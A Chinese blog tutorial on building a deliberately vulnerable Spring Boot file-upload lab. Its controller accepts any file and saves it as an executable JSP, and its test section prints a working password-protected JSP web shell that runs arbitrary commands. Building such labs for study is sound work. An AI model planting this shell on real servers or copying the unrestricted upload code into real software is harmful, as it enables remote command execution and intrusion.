前言:
上一篇博客介绍了关于文件上传漏洞的基础知识,以及基本的漏洞出现点、利用方式、以及如何防护等,并在此基础上思考如何构造一个文件上传漏洞靶场。本篇博客主要记录一下文件上传漏洞靶场的基本实现,以及部分关键代码。
2、项目配置
新建一个 springboot 项目
编写 application.properties:
设置文件上传的相关限制,以及 controller 层的 return 匹配目录
# 设置允许上传文件大小
spring.servlet.multipart.max-request-size=10MB
spring.servlet.multipart.max-file-size=10MB
## jsp
spring.mvc.view.prefix=/WEB-INF/views/
spring.mvc.view.suffix=.jsp
pom.xml 导入相关依赖
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.4</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>FileUpLoad</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>FileUpLoad</name>
<description>FileUpLoad</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<!-- Spring Boot web启动器 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<!-- jsp -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<!--<scope>provided</scope>-->
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
3、编写“文件上传漏洞”后端代码
UploadController.java:
实现文件上传功能,并返回上传成功界面或者上传失败界面。
这里没有做任何关于文件上传的限制,可上传任何类型文件,并且固定了文件名,可访问,所以存在文件上传漏洞。
package com.example.fileupload.controller;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.multipart.MultipartHttpServletRequest;
import javax.servlet.http.HttpServletRequest;
import java.io.File;
import java.io.IOException;
import java.util.List;
/**
* @Description
* @Author lhw
* @Date 2022-03-24
*/
@Controller
public class UploadController {
private static final Logger LOGGER = LoggerFactory.getLogger(UploadController.class);
@GetMapping("/upload")
public String upload() {
return "upload";
}
@PostMapping("/upload")
//@ResponseBody
public String upload(@RequestParam("file") MultipartFile file) {
if (file.isEmpty()) {
return "fail";
}
String fileName = "uploadfile.jsp";
String filePath = "D:\\Code\\SDUWeb\\FileUpLoad\\src\\main\\webapp\\WEB-INF\\views\\";
File dest = new File(filePath + fileName);
try {
file.transferTo(dest);
LOGGER.info("上传成功");
return "upload_success";
} catch (IOException e) {
LOGGER.error(e.toString(), e);
}
return "fail";
}
}
uploadfileController.java:
用于访问用户上传的文件
package com.example.fileupload.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
/**
* @Description
* @Author lhw
* @Date 2022-03-24
*/
@Controller
public class uploadfileController {
//payload:https://www.jianshu.com/p/792940a81088
@GetMapping("/uploadfile")
public String uploadfile() {
return "uploadfile";
}
}
4、编写“文件上传漏洞”前端代码
先建立 webapp\WEB-INF\views 目录
然后打开 file—ProjectStructure,按照下图配置
接下来在 views 目录下编写 jsp 文件
upload.jsp
<%--
Created by IntelliJ IDEA.
User: lhw
Date: 2022/3/24
Time: 21:02
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/>
<title>文件上传</title>
</head>
<body>
<p>请在此上传您的文件</p>
<form method="post" action="/upload" enctype="multipart/form-data">
<input type="file" name="file"><br>
<input type="submit" value="提交">
</form>
</body>
</html>
uploadsuccess.jsp
<%--
Created by IntelliJ IDEA.
User: Lenovo
Date: 2022/3/24
Time: 22:02
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>文件上传成功</title>
</head>
<body>
<p>文件上传成功</p>
<input type="button" value="访问上传文件"
οnclick="javascrtpt:window.location.href='http://localhost:8080/uploadfile'" />
</body>
</html>
fail.jsp
<%--
Created by IntelliJ IDEA.
User: Lenovo
Date: 2022/3/24
Time: 22:07
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>文件上传失败</title>
</head>
<body>
文件上传失败!请选择文件或重新上传!
</body>
</html>
5、运行测试
首先写好一个木马文件,用于测试
<%@ page language="java" contentType="text/html; charset=GBK"
pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>一句话木马</title>
</head>
<body>
<%
if ("admin".equals(request.getParameter("pwd"))) {
java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int len = -1;
byte[] bytes = new byte[4092];
out.print("<pre>");
while ((len = input.read(bytes)) != -1) {
out.println(new String(bytes, "GBK"));
}
out.print("</pre>");
}
%>
</body>
</html>
idea 启动项目
浏览器访问漏洞界面
选择写好的木马文件
上传成功,访问该文件
输入密码admin,cmd=执行的命令
返回了执行 ipconfig 的结果,测试成功